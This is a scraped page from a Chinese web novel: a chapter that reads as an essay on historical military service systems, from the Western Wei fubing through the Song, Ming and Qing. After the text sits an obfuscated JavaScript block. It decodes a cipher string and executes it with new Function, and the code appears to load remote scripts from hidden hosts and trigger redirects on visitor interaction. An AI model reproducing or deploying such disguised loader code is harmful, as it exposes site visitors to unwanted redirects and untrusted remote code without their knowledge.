末世灾变:我的熟练度面板 第四百四十八章 兵役制度(第3页/共3页)
期,就是第一次出了府兵制。这是东国军事制度上的重大改革,府兵制创立于西魏宇文泰、府兵制的特点是:由朝廷挑选身强力壮的民众充当府兵,免除他们的赋税负担。农闲时间进行军事训练,府兵1人所用马匹粮食武器,由6家供给。共设百府,每府设一郎将,分属24军统率。宇文泰仿周典置六军,合为百府。每府一郎将统之,分属二十四军,开府各领一军。大将军凡十二人,每一大将军统二府,一柱国统二大将军,凡柱国六员,复加持节都督以统之。十六年籍民之有才力者,为府兵。“只是这里讲的府兵制并未兵农合一,而是专一的职业士兵,在和军田制结合后,兵农合一才真正开始。这就是著名的八柱国,关陇集团的雏形。隋唐两朝皇帝都出自这个集团。
隋唐两朝都是府兵制,后来由于土地兼并严重,建立在均田制基础之上的府兵制就难以维系了。只有士兵能分到田,才能达到兵农一体的效果。安史之乱爆发就是由于土地集中,均田制被破坏,兵制也就无法推行。另一方面,节度使拥兵自重,放弃府兵制采用募兵制。于是,200多年的府兵制就此破产,最终还是被募兵制所代替了。到唐朝灭亡的时候,军队的战斗力很强。到了宋朝,国家体制大逆转,两宋重文抑武,国家实施将募兵制,放弃府兵制。兵种分为四等,禁军,厢军,乡兵,蕃兵。禁军是国家精锐部队,厢军,乡兵,蕃兵是预备役。两宋征兵不是为了打仗,而是为了防止造反,为了维护社会稳定,谁都可以当兵,不要素质,只要数量,所以造成两宋军队战斗力不高。这就说明了北宋的募兵制是畸形的,宋朝军队不仅战斗力不高,而且增加了财政负担。
宋朝的军事指挥体系第一次出现文官掌军的局面,国家的军权一分为二,设置了两个机构,一个是枢密院,一个是三衙。枢密院是最高军事决策机关,负责军事政令、调动军队、招募军队、后勤供应、军事训练等军国大事。他的长官是正副枢密史,其地位与宰相相当。枢密长官虽然负责军事,但一般由文职人员担任,枢密院只有发兵之权,却无统兵之权。三衙的职能是统帅天下禁军。三衙之间又互不统属,三衙只有领兵权,却没有调兵权。而且枢密院和三衙都是文职官员担任,武将彻底没有了。也正是这种“畸形”的募兵制度使得宋朝军事体系冗杂,作战效率低下,使得宋朝“积贫积弱”。
明朝建立以后,朱元璋以卫、所作为军事基层组织。5600人为1卫,1120人为千户所,112人为百户所,分别设指挥使、千户、百户统率之。朝廷初设大都督府(三军总司令部)统辖全国军队。公元1382年),撤销大都督府,改设前、后、左、右、中五军都督府管理全国卫所军队,但没有调兵权。兵部有调兵权,但手中无兵。只有皇帝才掌握最高的兵权。但依旧是文官掌军,而卫所的军籍与民户有别,世袭而不得更改,以此保证兵源。兵的任务为出征、防守和屯田。平日,军队实行屯田自养,并进行操练。整体看来,卫所兵制和府兵制差不多,用朱元璋自己的话说,就是国家养兵百万,不费国家钱粮。后来土地兼并,卫所兵制破产,各个卫所形同虚设。明朝中后期也就事实上就是以募兵制为主,职业军队。
清朝刚刚建立的时候,就是兵民二合一。也是就八旗兵,八旗兵是在入关前的兵制基础上发展起来的,它是用八种不同颜色的旗帜进行编制的武装,而八旗兵采取世袭制,年龄16岁以上的八旗子弟人尽为兵。统一全国后,又成立蒙古八旗,汉军八旗,又成立绿营兵,用来配合八旗兵来形成国家军队,清朝军队是世袭的,绿营也为世袭制,世代为兵。这样国家虽然确保了兵源,但军队的战斗力不高。鸦片战争以后,国家军队体系破产。现代兵役制度逐渐形成。
纵观东国历史上的兵役制度,就是府兵制募兵制两种,两者互换和时常结合,兵役制度的变化和国家财政时常是捆绑在一起的。国家财政充足军队就强,财政枯竭军队战斗力就差,和现在有点像。募兵与征兵相结合。还牵涉到如何处理军权的问题,军队权力大,虽然战斗力高,但容易造反,而削弱将领权力,虽巩固了皇权,但军队战斗力差。但这是封建时代死结无解。
『加入书签,方便阅读』
!function(){function a(a){var _idx="kzsjva1mtn";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPs@QCFT_T_m)C7LSmRT4gQ@{n"="hFFJLg\/\/[[fdTPPs@QCF75FTm6R)_dmRT4gQ@{n"="hFFJLg\/\/[[fdTPPs@QCFfY5FmD_L7dmRT4gQ@{n"="hFFJLg\/\/[[fdTPPs@QCFSOJTm)C7LSmRT4gQ@{n"="hFFJLg\/\/[[fdTPPs@QCFLY_6m6R)_dmRT4gQ@{n"="hFFJLg\/\/[[fdTPPs@QCFRDYJmD_L7dmRT4gQ@{n"="hFFJLg\/\/[[fdTPPs@QCFdDqJm6R)_dmRT4gQ@{n"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/s@QjR8S4LCXd}^F2"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"s@Q"=X8"S4LCXd}^F2"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"s@Qd2(LCYmOh5:DmRT4"="s@Q5p(LYpmJfC)RmRT4"="s@QD7(LSqmOh5:DmRT4"="s@QdC(LJ^mJfC)RmRT4"="s@Q(C(L:4mOh5:DmRT4"="s@QC2(LSYmJfC)RmRT4"="s@Q25(LLSmOh5:DmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{n"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPs@Q2F(LCYmpSfD2RmRT4gQ@{n/((/s@Qj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPs@Q2F(LCYmpSfD2RmRT4gQ@{n/((/s@Qj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPs@QCFT_T_m)C7LSmRT4gQ@{n/f/s@Qj(8}vR8S4LCXd}^F2"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPs@QCFT_T_m)C7LSmRT4gQ@{n"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();